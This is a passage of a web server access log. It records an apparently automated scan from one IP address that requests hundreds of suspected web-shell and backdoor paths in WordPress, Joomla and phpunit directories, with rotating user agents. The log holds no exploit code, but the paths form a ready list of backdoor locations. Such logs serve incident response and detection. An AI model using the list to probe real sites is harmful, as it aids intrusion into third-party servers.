[02/Feb/2026:16:00:02 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:02 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:02 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:02 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:03 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:04 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:05 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:06 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:07 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:07 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:00:07 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:07 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:07 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:07 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:08 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:09 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:09 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:09 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:09 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:09 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:09 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:10 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:10 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:10 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:10 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:10 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:11 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:11 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:11 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:11 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:11 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:12 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:13 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:13 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:13 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:13 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:13 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:00:13 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:14 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:15 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:16 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:16 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:16 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:16 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:16 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:16 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:17 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:18 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 